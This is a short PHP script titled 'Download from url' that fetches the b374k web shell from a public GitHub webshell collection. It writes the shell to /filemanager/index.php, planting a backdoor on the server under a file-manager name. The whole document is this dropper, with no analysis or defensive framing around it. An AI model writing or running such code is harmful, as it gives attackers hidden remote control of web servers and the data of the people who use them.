Download from url

<?php
$ch = curl_init();
$source = "https://raw.githubusercontent.com/tennc/webshell/master/php/b374k/b374k-3.2.3.php";
curl_setopt($ch, CURLOPT_URL, $source);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec ($ch);
curl_close ($ch);

$destination = "/filemanager/index.php";
$file = fopen($destination, "w+");
fputs($file, $data);
fclose($file);
?>